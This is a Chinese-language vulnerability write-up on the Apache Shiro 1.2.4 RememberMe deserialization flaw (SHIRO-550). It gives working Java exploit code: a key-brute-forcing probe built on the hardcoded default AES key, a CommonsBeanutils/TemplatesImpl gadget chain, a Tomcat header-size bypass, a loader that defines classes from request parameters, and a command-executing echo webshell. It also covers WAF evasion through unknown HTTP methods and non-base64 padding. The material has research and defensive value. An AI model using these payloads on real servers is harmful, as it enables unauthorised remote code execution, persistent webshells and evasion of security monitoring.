Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并编码的cookie。在服务端对RememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏洞

影响版本:Apache Shiro <= 1.2.4

漏洞分析

找到1.2.4版本下载:https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4

由于漏洞点在 cookie 这里,找到 shiro 处理 cookie 的类org.apache.shiro.web.mgt.CookieRememberMeManager

看到解密的getRememberedSerializedIdentity方法

获取cookie中的值 rememberMe,然后进行base64解码,并返回,那么看一下哪里调用了getRememberedSerializedIdentity方法

发现在org.apache.shiro.mgt.AbstractRememberMeManager会调用 getRememberedPrincipals 方法

对bytes进行解密后调用它的convertBytesToPrincipals方法,跟进一下

跟进到解密方法decrypt

看到getDecryptionCipherKey()就是我们的key,为硬编码

然后调用org.apache.shiro.crypto.JcaCipherService#decrypt进行AES解密

后续就是一些解密相关的流程了,解密完后调用到 deserialize 方法

最后触发org.apache.shiro.io.DefaultSerializer#deserialize进行反序列化

Tomcat类加载机制

测试发现如果使用Transformer[]数组类会报错

1
2
3
4
2022-03-06 20:03:51,838 WARN  [org.apache.shiro.mgt.DefaultSecurityManager]: Delegate RememberMeManager instance of type [org.apache.shiro.web.mgt.CookieRememberMeManager] threw an exception during getRememberedPrincipals().
org.apache.shiro.io.SerializationException: Unable to deserialze argument byte array.

Caused by: java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections4.Transformer;: static final long serialVersionUID = 4143657982017290149L;]:

[L是一个JVM的标记,说明实际上这是一个数组,即Transformer[]

其实这里反序列化使用的是org.apache.shiro.io.ClassResolvingObjectInputStream,它重写了 resolveClass 方法

将原生的 Class.forName 改成了 ClassUtils.forName,跟进org.apache.shiro.util.ClassUtils#forName

可以看到实际上并没有调用原生的 Class.forName,而是改成调用了几个 CL_ACCESSOR 的loadClass

1
2
3
4
5
6
private static final ClassLoaderAccessor SYSTEM_CL_ACCESSOR = new ExceptionIgnoringAccessor() {
@Override
protected ClassLoader doGetClassLoader() throws Throwable {
return ClassLoader.getSystemClassLoader();
}
};

ClassLoader.loadClass 不支持装载数组类型的class

1
2
Class.forName("[Ljava.lang.String;");//成功
ClassLoader.getSystemClassLoader().loadClass("[Ljava.lang.String;");//失败

参考:
shiro反序列化漏洞与tomcat类加载机制
强网杯“彩蛋”——Shiro 1.2.4(SHIRO-550)漏洞之发散性思考

漏洞检测

  1. 当密钥不正确或类型转换异常时,Response包含Set-Cookie: rememberMe=deleteMe字段
  2. 当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie: rememberMe=deleteMe字段

当密钥不正确或者反序列化错误的时候,会触发到catch的 onRememberedPrincipalFailure 方法

1
2
3
4
5
removeFrom:355, SimpleCookie (org.apache.shiro.web.servlet)
forgetIdentity:288, CookieRememberMeManager (org.apache.shiro.web.mgt)
forgetIdentity:277, CookieRememberMeManager (org.apache.shiro.web.mgt)
onRememberedPrincipalFailure:458, AbstractRememberMeManager (org.apache.shiro.mgt)
getRememberedPrincipals:399, AbstractRememberMeManager (org.apache.shiro.mgt)

会调用到org.apache.shiro.web.servlet.SimpleCookie的 removeFrom 方法,对返回包设置 rememberMe=deleteMe 字段

所以需要先让反序列化后的对象能够正常转换为 PrincipalCollection 对象,这样才能判断key值是否正确

发现org.apache.shiro.subject.SimplePrincipalCollection的接口类 MutablePrincipalCollection 继承了 PrincipalCollection

在转换时不会抛出异常,所以创建并序列化该对象即可爆破key值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;

public class key_test {
public static void main(String[] args) throws Exception{
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream);
out.writeObject(simplePrincipalCollection);
out.close();

byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
AesCipherService aes = new AesCipherService();
ByteSource ciphertext = aes.encrypt(byteArrayOutputStream.toByteArray(), key);
System.out.printf(ciphertext.toString());
}
}

漏洞利用

shiro 自带 commons-beanutils-1.8.3.jar

CommonsBeanutils

在CB包中提供了一个静态方法org.apache.commons.beanutils.PropertyUtils#getProperty,让使用者可以直接调用任意JavaBean的getter方法

此时,CommonsBeanutils会自动找到 name 属性的getter方法, 然后调用,获得返回值

并且看到类org.apache.commons.beanutils.BeanComparator的compare方法

如果初始化传入了property,就会调用PropertyUtils.getProperty(o1,property)这段代码,当 o1 是一个 TemplatesImpl 对象,而 property 的值为 outputProperties 时,将会自动调用该 getter

在 BeanComparator 类的构造函数处,当没有显式传入 Comparator 的情况下,则默认使用 Commons-Collections 的 ComparableComparator

如果此时没有 ComparableComparator,我们需要找到一个类来替换,它满足下面这几个条件:

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro 或 commons-beanutils 自带,且兼容性强

这里找到一个java.lang.String$CaseInsensitiveComparator

这个类是java.lang.String类下的一个内部私有类,其实现了ComparatorSerializable

我们可以通过String.CASE_INSENSITIVE_ORDER拿到上下文中的CaseInsensitiveComparator对象,用它来实例化 BeanComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class cb1 {
public static void main(String[] args) throws Exception{
byte[] bytes= ClassPool.getDefault().get(Evil.class.getName()).toBytecode();

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bytes});
setFieldValue(obj, "_name", "");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add("1");
queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cb1"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cb1"));
inputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethod:2170, PropertyUtilsBean (org.apache.commons.beanutils)
getSimpleProperty:1332, PropertyUtilsBean (org.apache.commons.beanutils)
getNestedProperty:770, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:846, PropertyUtilsBean (org.apache.commons.beanutils)
getProperty:426, PropertyUtils (org.apache.commons.beanutils)
compare:157, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)

然后在P神的知识星球上看到还存在一个类java.util.Collections$ReverseComparator

同样也是JRE自带的类

1
BeanComparator comparator=new BeanComparator(null, Collections.reverseOrder());

参考:
Commons-Beanutils利用链分析
CommonsBeanutils与无commons-collections的Shiro反序列化利用

Tomcat Header长度限制绕过

第一个思路是修改maxHttpHeaderSize:基于全局储存的新思路 | Tomcat的一种通用回显方法研究

改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问,让tomcat新建request的inputbuffer,这时候的buffer的大小限制就会使用我们修改过后的值

师傅实现的具体代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

@SuppressWarnings("all")
public class TomcatHeaderSize extends AbstractTranslet {
static {
try {
java.lang.reflect.Field contextField = org.apache.catalina.core.StandardContext.class.getDeclaredField("context");
java.lang.reflect.Field serviceField = org.apache.catalina.core.ApplicationContext.class.getDeclaredField("service");
java.lang.reflect.Field requestField = org.apache.coyote.RequestInfo.class.getDeclaredField("req");
java.lang.reflect.Field headerSizeField = org.apache.coyote.http11.Http11InputBuffer.class.getDeclaredField("headerBufferSize");
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
contextField.setAccessible(true);
headerSizeField.setAccessible(true);
serviceField.setAccessible(true);
requestField.setAccessible(true);
getHandlerMethod.setAccessible(true);
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());
org.apache.catalina.core.StandardService standardService = (org.apache.catalina.core.StandardService) serviceField.get(applicationContext);
org.apache.catalina.connector.Connector[] connectors = standardService.findConnectors();
for (int i = 0; i < connectors.length; i++) {
if (4 == connectors[i].getScheme().length()) {
org.apache.coyote.ProtocolHandler protocolHandler = connectors[i].getProtocolHandler();
if (protocolHandler instanceof org.apache.coyote.http11.AbstractHttp11Protocol) {
Class[] classes = org.apache.coyote.AbstractProtocol.class.getDeclaredClasses();
for (int j = 0; j < classes.length; j++) {
// org.apache.coyote.AbstractProtocol$ConnectionHandler
if (52 == (classes[j].getName().length()) || 60 == (classes[j].getName().length())) {
java.lang.reflect.Field globalField = classes[j].getDeclaredField("global");
java.lang.reflect.Field processorsField = org.apache.coyote.RequestGroupInfo.class.getDeclaredField("processors");
globalField.setAccessible(true);
processorsField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(protocolHandler, null));
java.util.List list = (java.util.List) processorsField.get(requestGroupInfo);
for (int k = 0; k < list.size(); k++) {
org.apache.coyote.Request tempRequest = (org.apache.coyote.Request) requestField.get(list.get(k));
// 40000 为修改后的 headersize
headerSizeField.set(tempRequest.getInputBuffer(),40000);
}
}
}
// 40000 为修改后的 headersize
((org.apache.coyote.http11.AbstractHttp11Protocol) protocolHandler).setMaxHttpHeaderSize(40000);
}
}
}
} catch (Exception e) {
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

第二个思路是将 class bytes 使用 gzip+base64 压缩编码:tomcat结合shiro无文件webshell的技术研究以及检测方法

第三个思路是分离payload+动态类加载,具体实现代码参考工具:https://github.com/SummerSec/ShiroAttack2

遍历线程获取 request 和 response 对象,并加载 POST 请求中的字节码,调用该对象的 equals 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class ClassDataLoader extends AbstractTranslet {
static {
try{
Object o;
String s;
boolean done = false;
Thread[] ts = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < ts.length; i++) {
Thread t = ts[i];
if (t == null) {
continue;
}
s = t.getName();
if (!s.contains("exec") && s.contains("http")) {
o = getFV(t, "target");
if (!(o instanceof Runnable)) {
continue;
}
try {
o = getFV(getFV(getFV(o, "this$0"), "handler"), "global");
} catch (Exception e) {
continue;
}
java.util.List ps = (java.util.List) getFV(o, "processors");
for (int j = 0; j < ps.size(); j++) {
Object p = ps.get(j);
o = getFV(p, "req");
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) ((org.apache.coyote.Request) o).getNote(1);
org.apache.catalina.connector.Response response = request.getResponse();
String user = request.getParameter("user");
if (user != null && !user.isEmpty()) {
byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(ClassDataLoader.class.getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)});
cc.newInstance().equals(new Object[]{request,response});
done = true;
}
if (done) {
break;
}
}
}
}
} catch(Exception e){}
}
public static Object getFV(Object o, String s) throws Exception {
java.lang.reflect.Field f = null;
Class clazz = o.getClass();
while (clazz != Object.class) {
try {
f = clazz.getDeclaredField(s);
break;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
if (f == null) {
throw new NoSuchFieldException(s);
}
f.setAccessible(true);
return f.get(o);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}

通过Class自带的方法equals去传递 request 与 response,实现一个回显代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.InputStream;
import java.util.Scanner;

public class TomcatCmd {
public boolean equals(Object req) {
Object[] context=(Object[]) req;
org.apache.catalina.connector.Request request=(org.apache.catalina.connector.Request)context[0];
org.apache.catalina.connector.Response response=(org.apache.catalina.connector.Response)context[1];
String cmd = request.getParameter("cmd");
if (cmd != null) {
try {
response.setContentType("text/html;charset=utf-8");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
String output = scanner.hasNext() ? scanner.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
} catch (Exception e) {
e.printStackTrace();
}
}
return true;
}
}

内存马同理

参考:
浅谈Shiro550受Tomcat Header长度限制影响突破
Shiro 550 漏洞学习 (二):内存马注入及回显
Shiro 回显与内存马实现

绕waf

其实shiro反序列化的检测本身不是很好做,因为原始payload->aes加密->base64编码

可以修改 GET 方法为 XXX 这样的未知 HTTP 请求方法,而 WAF 是通过正常的 http 方法识别 HTTP 数据包的,所以造成了一个绕过

未知Http方法名绕WAF这个姿势,可以使用在Filter和Listener层出现的漏洞,同时WAF不解析的情况
缺点的话就是无法使用 post 传参

文章:shiro反序列化绕WAF之未知HTTP请求方法

还有一种姿势就是将字节码文件写到临时目录,然后从目标本地读取文件加载字节码
文章:记一次 Shiro 的实战利用

其实在shiro处理解码base64字符串的过程中,会调用discardNonBase64方法去除掉非Base64的字符
org.apache.shiro.codec.Base64#decode

org.apache.shiro.codec.Base64#discardNonBase64

会过滤掉非Base64字符,Base64,就是包括:

1
小写字母a-z、大写字母A-Z、数字0-9、符号"+"、"/"一共64个字符的字符集

这里添加一些非Base64的字符即可

参考:
你的扫描器可以绕过防火墙么?(一)